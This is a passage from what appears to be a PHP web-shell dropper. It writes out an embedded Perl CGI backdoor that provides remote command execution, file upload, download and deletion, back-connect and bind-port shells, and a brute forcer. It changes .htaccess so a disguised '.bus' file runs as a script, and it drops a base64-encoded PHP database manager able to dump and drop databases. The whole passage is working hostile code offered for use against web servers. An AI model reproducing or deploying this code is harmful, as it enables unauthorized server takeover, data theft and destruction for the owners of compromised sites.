name=\"d\" value=\"\$EncodeCurrentDir\" />\r\n\t\t\t</form>\r\n\t\t\t<td>\$perms</td>\r\n\r\n\t\t</tr>\r\nEND\r\n\t\t\$i++;\r\n\t}\r\n\t\$result .=\"</table>\";\r\n\treturn \$result;\r\n}\r\n#------------------------------------------------------------------------------\r\n# Main Program - Execution Starts Here\r\n#------------------------------------------------------------------------------\r\n&ReadParse;\r\n&GetCookies;\r\n\r\n\$ScriptLocation = \$ENV{'SCRIPT_NAME'};\r\n\$ServerName = \$ENV{'SERVER_NAME'};\r\n\$LoginPassword = \$in{'p'};\r\n\$RunCommand = decode_base64(\$in{'c'});\r\n\$TransferFile = \$in{'f'};\r\n\$Options = \$in{'o'};\r\n\$Action = \$in{'a'};\r\n\r\n\$Action = \"command\" if(\$Action eq \"\"); # no action specified, use default\r\n\r\n# get the directory in which the commands will be executed\r\n\$CurrentDir = &TrimSlashes(decode_base64(trim(\$in{'d'})));\r\n# mac dinh xuat thong tin neu ko co lenh nao!\r\n\$RunCommand= \$WinNT?\"dir\":\"dir -lia\" if(\$RunCommand eq \"\");\r\nchomp(\$CurrentDir = `\$CmdPwd`) if(\$CurrentDir eq \"\");\r\n\r\n\$LoggedIn = \$Cookies{'SAVEDPWD'} eq \$Password;\r\n\r\nif(\$Action eq \"login\" || !\$LoggedIn) \t\t# user needs/has to login\r\n{\r\n\t&PerformLogin;\r\n}elsif(\$Action eq \"gui\") # GUI directory\r\n{\r\n\t&PrintPageHeader(\"d\");\r\n\tif(!\$WinNT)\r\n\t{\r\n\t\t\$chmod=int(\$in{'chmod'});\r\n\t\tif(\$chmod ne 0)\r\n\t\t{\r\n\t\t\t\$chmod=int(\$in{'chmod'});\r\n\t\t\t\$file=\$CurrentDir.\$PathSep.\$TransferFile;\r\n\t\t\tif(chmod(\$chmod,\$file))\r\n\t\t\t{\r\n\t\t\t\tprint \"<run> Done! </run><br>\";\r\n\t\t\t}else\r\n\t\t\t{\r\n\t\t\t\tprint \"<run> Sorry! You dont have permissions! </run><br>\";\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\t\$rename=\$in{'rename'};\r\n\tif(\$rename ne \"\")\r\n\t{\r\n\t\tif(rename(\$TransferFile,\$rename))\r\n\t\t{\r\n\t\t\tprint \"<run> Done! </run><br>\";\r\n\t\t}else\r\n\t\t{\r\n\t\t\tprint \"<run> Sorry! You dont have permissions! </run><br>\";\r\n\t\t}\r\n\t}\r\n\t\$remove=\$in{'remove'};\r\n\tif(\$remove ne \"\")\r\n\t{\r\n\t\t\$rm = \$CurrentDir.\$PathSep.\$remove;\r\n\t\tif(-d \$rm)\r\n\t\t{\r\n\t\t\t&RmDir(\$rm);\r\n\t\t}else\r\n\t\t{\r\n\t\t\tif(unlink(\$rm))\r\n\t\t\t{\r\n\t\t\t\tprint \"<run> Done! </run><br>\";\r\n\t\t\t}else\r\n\t\t\t{\r\n\t\t\t\tprint \"<run> Sorry! You dont have permissions! </run><br>\";\r\n\t\t\t}\t\t\t\r\n\t\t}\r\n\t}\r\n\tprint &ListDir;\r\n\r\n}\r\nelsif(\$Action eq \"command\")\t\t\t\t \t# user wants to run a command\r\n{\r\n\t&PrintPageHeader(\"c\");\r\n\tprint &ExecuteCommand;\r\n}\r\nelsif(\$Action eq \"save\")\t\t\t\t \t# user wants to save a file\r\n{\r\n\t&PrintPageHeader;\r\n\tif(&SaveFile(\$in{'data'},\$in{'file'}))\r\n\t{\r\n\t\tprint \"<run> Done! </run><br>\";\r\n\t}else\r\n\t{\r\n\t\tprint \"<run> Sorry! You dont have permissions! </run><br>\";\r\n\t}\r\n\tprint &ListDir;\r\n}elsif(\$Action eq \"upload\") \t\t\t\t\t# user wants to upload a file\r\n{\r\n\t&PrintPageHeader(\"c\");\r\n\tprint &UploadFile;\r\n}elsif(\$Action eq \"backbind\") \t\t\t\t# user wants to back connect or bind port\r\n{\r\n\t&PrintPageHeader(\"clientport\");\r\n\r\n\tprint &BackBind;\r\n}elsif(\$Action eq \"bruteforcer\") \t\t\t# user wants to brute force\r\n{\r\n\t&PrintPageHeader;\r\n\tprint &BruteForcer;\r\n}elsif(\$Action eq \"download\") \t\t\t\t# user wants to download a file\r\n{\r\n\tprint &DownloadFile;\r\n}elsif(\$Action eq \"checklog\") \t\t\t\t# user wants to view log file\r\n{\r\n\t&PrintPageHeader;\r\n\tprint &ViewLog;\r\n\r\n}elsif(\$Action eq \"domainsuser\") \t\t\t# user wants to view list user/domain\r\n{\r\n\t&PrintPageHeader;\r\n\tprint &ViewDomainUser;\r\n}elsif(\$Action eq \"logout\") \t\t\t\t# user wants to logout\r\n{\r\n\t&PerformLogout;\r\n}\r\n&PrintPageFooter;\r\n\r\n");
echo "<a href='./perl/telnet2.cgi'>Here telnet2.cgi</a><br>";
#fwrite($bus,base64_decode($fileencode));
#fwrite($fileencode1)
#fclose($bus);
chmod('security.bus', 0755);
chmod('telnet2.cgi', 0755);
$htaccess = fopen('.htaccess', 'a+');
fwrite($htaccess, "AddHandler cgi-script .bus");
fclose($htaccess);
# inject Database
} elseif ($_POST[tool] == 'inject') {
$data = 'inject';
mkdir('inject');
chdir('inject');
$sql = 'PD9waHAKCi8qCiAqIE15U1FMIFdlYiBJbnRlcmZhY2UgVmVyc2lvbiAyCiAqIC0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0KICogRGV2ZWxvcGVkIEJ5IHNOaXBlcl9oRXgKKi8KCmlmICgg
ZnVuY3Rpb25fZXhpc3RzKCdpbmlfZ2V0JykgKSB7Cgkkb25vZmYgPSBpbmlfZ2V0KCdyZWdpc3Rl
cl9nbG9iYWxzJyk7Cn0gZWxzZSB7Cgkkb25vZmYgPSBnZXRfY2ZnX3ZhcigncmVnaXN0ZXJfZ2xv
YmFscycpOwp9CmlmICgkb25vZmYgIT0gMSkgewoJQGV4dHJhY3QoJEhUVFBfU0VSVkVSX1ZBUlMs
IEVYVFJfU0tJUCk7CglAZXh0cmFjdCgkSFRUUF9DT09LSUVfVkFSUywgRVhUUl9TS0lQKTsKCUBl
eHRyYWN0KCRIVFRQX1BPU1RfRklMRVMsIEVYVFJfU0tJUCk7CglAZXh0cmFjdCgkSFRUUF9QT1NU
X1ZBUlMsIEVYVFJfU0tJUCk7CglAZXh0cmFjdCgkSFRUUF9HRVRfVkFSUywgRVhUUl9TS0lQKTsK
CUBleHRyYWN0KCRIVFRQX0VOVl9WQVJTLCBFWFRSX1NLSVApOwp9CgpmdW5jdGlvbiBsb2dvbigp
IHsKCWdsb2JhbCAkUEhQX1NFTEY7CgoJc2V0Y29va2llKCAibXlzcWxfd2ViX2FkbWluX3VzZXJu
YW1lIiApOwoJc2V0Y29va2llKCAibXlzcWxfd2ViX2FkbWluX3Bhc3N3b3JkIiApOwoJc2V0Y29v
a2llKCAibXlzcWxfd2ViX2FkbWluX2hvc3RuYW1lIiApOwoJZWNobyAiPGh0bWw+XG4iOwoJZWNo
byAiPGhlYWQ+XG4iOwoJZWNobyAiPHRpdGxlPk15U1FMIEludGVyZmFjZTwvdGl0bGU+XG4iOwoJ
ZWNobyAiPC9oZWFkPlxuIjsKCWVjaG8gIjxib2R5PlxuIjsKCWVjaG8gIjx0YWJsZSB3aWR0aD0x
MDAlIGhlaWdodD0xMDAlPjx0cj48dGQ+PGNlbnRlcj5cbiI7CgllY2hvICI8dGFibGUgY2VsbHBh
ZGRpbmc9Mj48dHI+PHRkIGJnY29sb3I9I2E0YTI2MD48Y2VudGVyPlxuIjsKCWVjaG8gIjx0YWJs
ZSBjZWxscGFkZGluZz0yMD48dHI+PHRkIGJnY29sb3I9I2ZmZmZmZj48Y2VudGVyPlxuIjsKCWVj
aG8gIjxoMT5NeVNRTCBXZWIgSW50ZXJmYWNlPC9oMT5cbiI7CgllY2hvICI8Zm9ybSBhY3Rpb249
JyRQSFBfU0VMRic+XG4iOwoJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0aW9uIHZh
bHVlPWxvZ29uX3N1Ym1pdD5cbiI7CgllY2hvICI8dGFibGUgY2VsbHBhZGRpbmc9NSBjZWxsc3Bh
Y2luZz0xPlxuIjsKCWVjaG8gIjx0cj48dGQ+SG9zdG5hbWUgPC90ZD48dGQ+IDxpbnB1dCB0eXBl
PXRleHQgbmFtZT1ob3N0bmFtZSB2YWx1ZT0nbG9jYWxob3N0Jz48L3RkPjwvdHI+XG4iOwoJZWNo
byAiPHRyPjx0ZD5Vc2VybmFtZSA8L3RkPjx0ZD4gPGlucHV0IHR5cGU9dGV4dCBuYW1lPXVzZXJu
YW1lPjwvdGQ+PC90cj5cbiI7CgllY2hvICI8dHI+PHRkPlBhc3N3b3JkIDwvdGQ+PHRkPiA8aW5w
dXQgdHlwZT1wYXNzd29yZCBuYW1lPXBhc3N3b3JkPjwvdGQ+PC90cj5cbiI7CgllY2hvICI8L3Rh
YmxlPjxwPlxuIjsKCWVjaG8gIjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nRW50ZXInPlxuIjsK
CWVjaG8gIjxpbnB1dCB0eXBlPXJlc2V0IHZhbHVlPSdDbGVhcic+PGJyPlxuIjsKCWVjaG8gIjwv
Zm9ybT5cbiI7CgllY2hvICI8L2NlbnRlcj48L3RkPjwvdHI+PC90YWJsZT5cbiI7CgllY2hvICI8
L2NlbnRlcj48L3RkPjwvdHI+PC90YWJsZT5cbiI7CgllY2hvICI8cD48aHIgd2lkdGg9MzAwPlxu
IjsKCWVjaG8gIjwvY2VudGVyPjwvdGQ+PC90cj48L3RhYmxlPlxuIjsKCWVjaG8gIjwvYm9keT5c
biI7CgllY2hvICI8L2h0bWw+XG4iOwp9CgpmdW5jdGlvbiBsb2dvbl9zdWJtaXQoKSB7CglnbG9i
YWwgJHVzZXJuYW1lLCAkcGFzc3dvcmQsICRob3N0bmFtZSAsJFBIUF9TRUxGOwoJaWYoJGhvc3Ru
YW1lID09JycpCgkJJGhvc3RuYW1lID0gJ2xvY2FsaG9zdCc7CglzZXRjb29raWUoICJteXNxbF93
ZWJfYWRtaW5fdXNlcm5hbWUiLCAkdXNlcm5hbWUgKTsKCXNldGNvb2tpZSggIm15c3FsX3dlYl9h
ZG1pbl9wYXNzd29yZCIsICRwYXNzd29yZCApOwoJc2V0Y29va2llKCAibXlzcWxfd2ViX2FkbWlu
X2hvc3RuYW1lIiwgJGhvc3RuYW1lICk7CgllY2hvICI8aHRtbD4iOwoJZWNobyAiPGhlYWQ+IjsK
CWVjaG8gIjxNRVRBIEhUVFAtRVFVSVY9UmVmcmVzaCBDT05URU5UPScwOyBVUkw9JFBIUF9TRUxG
P2FjdGlvbj1saXN0REJzJz4iOwoJZWNobyAiPC9oZWFkPiI7CgllY2hvICI8L2h0bWw+IjsKfQoK
ZnVuY3Rpb24gZWNob1F1ZXJ5UmVzdWx0KCkgewoJZ2xvYmFsICRxdWVyeVN0ciwgJGVyck1zZzsK
CglpZiggJGVyck1zZyA9PSAiIiApICRlcnJNc2cgPSAiU3VjY2VzcyI7CglpZiggJHF1ZXJ5U3Ry
ICE9ICIiICkgewoJCWVjaG8gIjx0YWJsZSBjZWxscGFkZGluZz01PlxuIjsKCQllY2hvICI8dHI+
PHRkPlF1ZXJ5PC90ZD48dGQ+JHF1ZXJ5U3RyPC90ZD48L3RyPlxuIjsKCQllY2hvICI8dHI+PHRk
PlJlc3VsdDwvdGQ+PHRkPiRlcnJNc2c8L3RkPjwvdHI+XG4iOwoJCWVjaG8gIjwvdGFibGU+PHA+
XG4iOwoJfQp9CgpmdW5jdGlvbiBsaXN0RGF0YWJhc2VzKCkgewoJZ2xvYmFsICRteXNxbEhhbmRs
ZSwgJFBIUF9TRUxGOwoKCWVjaG8gIjxoMT5EYXRhYmFzZXMgTGlzdDwvaDE+XG4iOwoKCWVjaG8g
Ijxmb3JtIGFjdGlvbj0nJFBIUF9TRUxGJz5cbiI7CgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4g
bmFtZT1hY3Rpb24gdmFsdWU9Y3JlYXRlREI+XG4iOwoJZWNobyAiPGlucHV0IHR5cGU9dGV4dCBu
YW1lPWRibmFtZT5cbiI7CgllY2hvICI8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J0NyZWF0ZSBE
YXRhYmFzZSc+XG4iOwoJZWNobyAiPC9mb3JtPlxuIjsKCWVjaG8gIjxocj5cbiI7CgoJZWNobyAi
PHRhYmxlIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9NT5cbiI7CgoJJHBEQiA9IG15c3FsX2xp
c3RfZGJzKCAkbXlzcWxIYW5kbGUgKTsKCSRudW0gPSBteXNxbF9udW1fcm93cyggJHBEQiApOwoJ
Zm9yKCAkaSA9IDA7ICRpIDwgJG51bTsgJGkrKyApIHsKCQkkZGJuYW1lID0gbXlzcWxfZGJuYW1l
KCAkcERCLCAkaSApOwoJCWVjaG8gIjx0cj5cbiI7CgkJZWNobyAiPHRkPiRkYm5hbWU8L3RkPlxu
IjsKCQllY2hvICI8dGQ+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1saXN0VGFibGVzJmRibmFt
ZT0kZGJuYW1lJz5UYWJsZXM8L2E+PC90ZD5cbiI7CgkJZWNobyAiPHRkPjxhIGhyZWY9JyRQSFBf
U0VMRj9hY3Rpb249ZHJvcERCJmRibmFtZT0kZGJuYW1lJyBvbkNsaWNrPVwicmV0dXJuIGNvbmZp
cm0oJ0Ryb3AgRGF0YWJhc2UgXCckZGJuYW1lXCc/JylcIj5Ecm9wPC9hPjwvdGQ+XG4iOwoJCWVj
aG8gIjx0ZD48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWR1bXBEQiZkYm5hbWU9JGRibmFtZScg
b25DbGljaz1cInJldHVybiBjb25maXJtKCdEdW1wIERhdGFiYXNlIFwnJGRibmFtZVwnPycpXCI+
RHVtcDwvYT48L3RkPlxuIjsKCQllY2hvICI8L3RyPlxuIjsKCX0KCWVjaG8gIjwvdGFibGU+XG4i
Owp9CgpmdW5jdGlvbiBjcmVhdGVEYXRhYmFzZSgpIHsKCWdsb2JhbCAkbXlzcWxIYW5kbGUsICRk
Ym5hbWUsICRQSFBfU0VMRjsKCglteXNxbF9jcmVhdGVfZGIoICRkYm5hbWUsICRteXNxbEhhbmRs
ZSApOwoJbGlzdERhdGFiYXNlcygpOwp9CgpmdW5jdGlvbiBkcm9wRGF0YWJhc2UoKSB7CglnbG9i
YWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkUEhQX1NFTEY7CgoJbXlzcWxfZHJvcF9kYiggJGRi
bmFtZSwgJG15c3FsSGFuZGxlICk7CglsaXN0RGF0YWJhc2VzKCk7Cn0KCmZ1bmN0aW9uIGxpc3RU
YWJsZXMoKSB7CglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkUEhQX1NFTEY7CgoKCWVj
aG8gIjxoMT5UYWJsZXMgTGlzdDwvaDE+XG4iOwoJZWNobyAiPHAgY2xhc3M9bG9jYXRpb24+JGRi
bmFtZTwvcD5cbiI7CgllY2hvUXVlcnlSZXN1bHQoKTsKCWVjaG8gIjxmb3JtIGFjdGlvbj0nJFBI
UF9TRUxGJz5cbiI7CgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3Rpb24gdmFsdWU9
Y3JlYXRlVGFibGU+XG4iOwoJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZGJuYW1lIHZh
bHVlPSRkYm5hbWU+XG4iOwoJZWNobyAiPGlucHV0IHR5cGU9dGV4dCBuYW1lPXRhYmxlbmFtZT5c
biI7CgllY2hvICI8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J0NyZWF0ZSBUYWJsZSc+XG4iOwoJ
ZWNobyAiPC9mb3JtPlxuIjsKCWVjaG8gIjxmb3JtIGFjdGlvbj0nJFBIUF9TRUxGJz5cbiI7Cgll
Y2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3Rpb24gdmFsdWU9cXVlcnk+XG4iOwoJZWNo
byAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZGJuYW1lIHZhbHVlPSRkYm5hbWU+XG4iOwoJZWNo
byAiPGlucHV0IHR5cGU9dGV4dCBzaXplPTEyMCBuYW1lPXF1ZXJ5U3RyPlxuIjsKCWVjaG8gIjxp
bnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nUXVlcnknPlxuIjsKCWVjaG8gIjwvZm9ybT5cbiI7Cgll
Y2hvICI8aHI+XG4iOwoKCSRwVGFibGUgPSBteXNxbF9saXN0X3RhYmxlcyggJGRibmFtZSApOwoK
CWlmKCAkcFRhYmxlID09IDAgKSB7CgkJJG1zZyAgPSBteXNxbF9lcnJvcigpOwoJCWVjaG8gIjxo
Mz5FcnJvciA6ICRtc2c8L2gzPjxwPlxuIjsKCQlyZXR1cm47Cgl9CgkkbnVtID0gbXlzcWxfbnVt
X3Jvd3MoICRwVGFibGUgKTsKCgllY2hvICI8dGFibGUgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGlu
Zz01PlxuIjsKCglmb3IoICRpID0gMDsgJGkgPCAkbnVtOyAkaSsrICkgewoJCSR0YWJsZW5hbWUg
PSBteXNxbF90YWJsZW5hbWUoICRwVGFibGUsICRpICk7CgoJCWVjaG8gIjx0cj5cbiI7CgkJZWNo
byAiPHRkPlxuIjsKCQllY2hvICIkdGFibGVuYW1lXG4iOwoJCWVjaG8gIjwvdGQ+XG4iOwoJCWVj
aG8gIjx0ZD5cbiI7CgkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj12aWV3U2NoZW1h
JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJz5TY2hlbWE8L2E+XG4iOwoJCWVj
aG8gIjwvdGQ+XG4iOwoJCWVjaG8gIjx0ZD5cbiI7CgkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxG
P2FjdGlvbj12aWV3RGF0YSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+RGF0
YTwvYT5cbiI7CgkJZWNobyAiPC90ZD5cbiI7CgkJZWNobyAiPHRkPlxuIjsKCQllY2hvICI8YSBo
cmVmPSckUEhQX1NFTEY/YWN0aW9uPWRyb3BUYWJsZSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9
JHRhYmxlbmFtZScgb25DbGljaz1cInJldHVybiBjb25maXJtKCdEcm9wIFRhYmxlIFwnJHRhYmxl
bmFtZVwnPycpXCI+RHJvcDwvYT5cbiI7CgkJZWNobyAiPC90ZD5cbiI7CgkJZWNobyAiPHRkPlxu
IjsKCQllY2hvICI8YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWR1bXBUYWJsZSZkYm5hbWU9JGRi
bmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZScgb25DbGljaz1cInJldHVybiBjb25maXJtKCdEdW1w
IFRhYmxlIFwnJHRhYmxlbmFtZVwnPycpXCI+RHVtcDwvYT5cbiI7CgkJZWNobyAiPC90ZD5cbiI7
CgkJZWNobyAiPC90cj5cbiI7Cgl9CgoJZWNobyAiPC90YWJsZT4iOwp9CgpmdW5jdGlvbiBjcmVh
dGVUYWJsZSgpIHsKCWdsb2JhbCAkbXlzcWxIYW5kbGUsICRkYm5hbWUsICR0YWJsZW5hbWUsICRQ
SFBfU0VMRiwgJHF1ZXJ5U3RyLCAkZXJyTXNnOwoKCSRxdWVyeVN0ciA9ICJDUkVBVEUgVEFCTEUg
JHRhYmxlbmFtZSAoIG5vIElOVCApIjsKCW15c3FsX3NlbGVjdF9kYiggJGRibmFtZSwgJG15c3Fs
SGFuZGxlICk7CglteXNxbF9xdWVyeSggJHF1ZXJ5U3RyLCAkbXlzcWxIYW5kbGUgKTsKCSRlcnJN
c2cgPSBteXNxbF9lcnJvcigpOwoKCWxpc3RUYWJsZXMoKTsKfQoKZnVuY3Rpb24gZHJvcFRhYmxl
KCkgewoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJFBIUF9TRUxG
LCAkcXVlcnlTdHIsICRlcnJNc2c7CgoJJHF1ZXJ5U3RyID0gIkRST1AgVEFCTEUgJHRhYmxlbmFt
ZSI7CglteXNxbF9zZWxlY3RfZGIoICRkYm5hbWUsICRteXNxbEhhbmRsZSApOwoJbXlzcWxfcXVl
cnkoICRxdWVyeVN0ciwgJG15c3FsSGFuZGxlICk7CgkkZXJyTXNnID0gbXlzcWxfZXJyb3IoKTsK
CglsaXN0VGFibGVzKCk7Cn0KCmZ1bmN0aW9uIHZpZXdTY2hlbWEoKSB7CglnbG9iYWwgJG15c3Fs
SGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAkUEhQX1NFTEYsICRxdWVyeVN0ciwgJGVyck1z
ZzsKCgllY2hvICI8aDE+VGFibGUgU2NoZW1hPC9oMT5cbiI7CgllY2hvICI8cCBjbGFzcz1sb2Nh
dGlvbj4kZGJuYW1lICZndDsgJHRhYmxlbmFtZTwvcD5cbiI7CgoJZWNob1F1ZXJ5UmVzdWx0KCk7
CgoJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1hZGRGaWVsZCZkYm5hbWU9JGRibmFt
ZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+QWRkIEZpZWxkPC9hPiB8IFxuIjsKCWVjaG8gIjxhIGhy
ZWY9JyRQSFBfU0VMRj9hY3Rpb249dmlld0RhdGEmZGJuYW1lPSRkYm5hbWUmdGFibGVuYW1lPSR0
YWJsZW5hbWUnPlZpZXcgRGF0YTwvYT5cbiI7CgllY2hvICI8aHI+XG4iOwoKCSRwUmVzdWx0ID0g
bXlzcWxfZGJfcXVlcnkoICRkYm5hbWUsICJTSE9XIGZpZWxkcyBGUk9NICR0YWJsZW5hbWUiICk7
CgkkbnVtID0gbXlzcWxfbnVtX3Jvd3MoICRwUmVzdWx0ICk7CgoJZWNobyAiPHRhYmxlIGNlbGxz
cGFjaW5nPTEgY2VsbHBhZGRpbmc9NT5cbiI7CgllY2hvICI8dHI+XG4iOwoJZWNobyAiPHRoPkZp
ZWxkPC90aD5cbiI7CgllY2hvICI8dGg+VHlwZTwvdGg+XG4iOwoJZWNobyAiPHRoPk51bGw8L3Ro
PlxuIjsKCWVjaG8gIjx0aD5LZXk8L3RoPlxuIjsKCWVjaG8gIjx0aD5EZWZhdWx0PC90aD5cbiI7
CgllY2hvICI8dGg+RXh0cmE8L3RoPlxuIjsKCWVjaG8gIjx0aCBjb2xzcGFuPTI+QWN0aW9uPC90
aD5cbiI7CgllY2hvICI8L3RyPlxuIjsKCgoJZm9yKCAkaSA9IDA7ICRpIDwgJG51bTsgJGkrKyAp
IHsKCQkkZmllbGQgPSBteXNxbF9mZXRjaF9hcnJheSggJHBSZXN1bHQgKTsKCQllY2hvICI8dHI+
XG4iOwoJCWVjaG8gIjx0ZD4iLiRmaWVsZFsiRmllbGQiXS4iPC90ZD5cbiI7CgkJZWNobyAiPHRk
PiIuJGZpZWxkWyJUeXBlIl0uIjwvdGQ+XG4iOwoJCWVjaG8gIjx0ZD4iLiRmaWVsZFsiTnVsbCJd
LiI8L3RkPlxuIjsKCQllY2hvICI8dGQ+Ii4kZmllbGRbIktleSJdLiI8L3RkPlxuIjsKCQllY2hv
ICI8dGQ+Ii4kZmllbGRbIkRlZmF1bHQiXS4iPC90ZD5cbiI7CgkJZWNobyAiPHRkPiIuJGZpZWxk
WyJFeHRyYSJdLiI8L3RkPlxuIjsKCQkkZmllbGRuYW1lID0gJGZpZWxkWyJGaWVsZCJdOwoJCWVj
aG8gIjx0ZD48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWVkaXRGaWVsZCZkYm5hbWU9JGRibmFt
ZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSZmaWVsZG5hbWU9JGZpZWxkbmFtZSc+RWRpdDwvYT48L3Rk
PlxuIjsKCQllY2hvICI8dGQ+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1kcm9wRmllbGQmZGJu
YW1lPSRkYm5hbWUmdGFibGVuYW1lPSR0YWJsZW5hbWUmZmllbGRuYW1lPSRmaWVsZG5hbWUnIG9u
Q2xpY2s9XCJyZXR1cm4gY29uZmlybSgnRHJvcCBGaWVsZCBcJyRmaWVsZG5hbWVcJz8nKVwiPkRy
b3A8L2E+PC90ZD5cbiI7CgkJZWNobyAiPC90cj5cbiI7Cgl9CgllY2hvICI8L3RhYmxlPlxuIjsK
Cn0KCmZ1bmN0aW9uIG1hbmFnZUZpZWxkKCAkY21kICkgewoJZ2xvYmFsICRteXNxbEhhbmRsZSwg
JGRibmFtZSwgJHRhYmxlbmFtZSwgJGZpZWxkbmFtZSwgJFBIUF9TRUxGOwoKCWlmKCAkY21kID09
ICJhZGQiICkKCQllY2hvICI8aDE+QWRkIEZpZWxkPC9oMT5cbiI7CgllbHNlIGlmKCAkY21kID09
ICJlZGl0IiApIHsKCQllY2hvICI8aDE+RWRpdCBGaWVsZDwvaDE+XG4iOwoJCSRwUmVzdWx0ID0g
bXlzcWxfZGJfcXVlcnkoICRkYm5hbWUsICJTSE9XIGZpZWxkcyBGUk9NICR0YWJsZW5hbWUiICk7
CgkJJG51bSA9IG15c3FsX251bV9yb3dzKCAkcFJlc3VsdCApOwoJCWZvciggJGkgPSAwOyAkaSA8
ICRudW07ICRpKysgKSB7CgkJCSRmaWVsZCA9IG15c3FsX2ZldGNoX2FycmF5KCAkcFJlc3VsdCAp
OwoJCQlpZiggJGZpZWxkWyJGaWVsZCJdID09ICRmaWVsZG5hbWUgKSB7CgkJCQkkZmllbGR0eXBl
ID0gJGZpZWxkWyJUeXBlIl07CgkJCQkkZmllbGRrZXkgPSAkZmllbGRbIktleSJdOwoJCQkJJGZp
ZWxkZXh0cmEgPSAkZmllbGRbIkV4dHJhIl07CgkJCQkkZmllbGRudWxsID0gJGZpZWxkWyJOdWxs
Il07CgkJCQkkZmllbGRkZWZhdWx0ID0gJGZpZWxkWyJEZWZhdWx0Il07CgkJCQlicmVhazsKCQkJ
fQoJCX0KCQkkdHlwZSA9IHN0cnRvayggJGZpZWxkdHlwZSwgIiAoLClcbiIgKTsKCQlpZiggc3Ry
cG9zKCAkZmllbGR0eXBlLCAiKCIgKSApIHsKCQkJaWYoICR0eXBlID09ICJlbnVtIiB8ICR0eXBl
ID09ICJzZXQiICkgewoJCQkJJHZhbHVlbGlzdCA9IHN0cnRvayggIiAoKVxuIiApOwoJCQl9IGVs
c2UgewoJCQkJJE0gPSBzdHJ0b2soICIgKCwpXG4iICk7CgkJCQlpZiggc3RycG9zKCAkZmllbGR0
eXBlLCAiLCIgKSApCgkJCQkJJEQgPSBzdHJ0b2soICIgKCwpXG4iICk7CgkJCX0KCQl9Cgl9CgoJ
ZWNobyAiPHAgY2xhc3M9bG9jYXRpb24+JGRibmFtZSAmZ3Q7ICR0YWJsZW5hbWU8L3A+XG4iOwoJ
ZWNobyAiPGZvcm0gYWN0aW9uPSRQSFBfU0VMRj5cbiI7CgoJaWYoICRjbWQgPT0gImFkZCIgKQoJ
CWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdGlvbiB2YWx1ZT1hZGRGaWVsZF9zdWJt
aXQ+XG4iOwoJZWxzZSBpZiggJGNtZCA9PSAiZWRpdCIgKSB7CgkJZWNobyAiPGlucHV0IHR5cGU9
aGlkZGVuIG5hbWU9YWN0aW9uIHZhbHVlPWVkaXRGaWVsZF9zdWJtaXQ+XG4iOwoJCWVjaG8gIjxp
bnB1dCB0eXBlPWhpZGRlbiBuYW1lPW9sZF9uYW1lIHZhbHVlPSRmaWVsZG5hbWU+XG4iOwoJfQoJ
ZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZGJuYW1lIHZhbHVlPSRkYm5hbWU+XG4iOwoJ
ZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9dGFibGVuYW1lIHZhbHVlPSR0YWJsZW5hbWU+
XG4iOwoKCWVjaG8gIjxoMz5OYW1lPC9oMz5cbiI7CgllY2hvICI8aW5wdXQgdHlwZT10ZXh0IG5h
bWU9bmFtZSB2YWx1ZT0kZmllbGRuYW1lPjxwPlxuIjsKCWVjaG8gJwoKPGgzPlR5cGU8L2gzPgoK
PGZvbnQgc2l6ZT0yPgoqIGBNXCcgaW5kaWNhdGVzIHRoZSBtYXhpbXVtIGRpc3BsYXkgc2l6ZS48
YnI+CiogYERcJyBhcHBsaWVzIHRvIGZsb2F0aW5nLXBvaW50IHR5cGVzIGFuZCBpbmRpY2F0ZXMg
dGhlIG51bWJlciBvZiBkaWdpdHMgZm9sbG93aW5nIHRoZSBkZWNpbWFsIHBvaW50Ljxicj4KPC9m
b250PgoKPHRhYmxlPgo8dHI+Cjx0aD5UeXBlPC90aD48dGg+Jm5ic3BNJm5ic3A8L3RoPjx0aD4m
bmJzcEQmbmJzcDwvdGg+PHRoPnVuc2lnbmVkPC90aD48dGg+emVyb2ZpbGw8L3RoPjx0aD5iaW5h
cnk8L3RoPgo8L3RyPgo8dHI+Cjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9
IlRJTllJTlQiICc7IGlmKCAkdHlwZSA9PSAidGlueWludCIgKSBlY2hvICJjaGVja2VkIjtlY2hv
ICc+VElOWUlOVCAoLTEyOCB+IDEyNyk8L3RkPgo8dGQgYWxpZ249Y2VudGVyPk88L3RkPgo8dGQ+
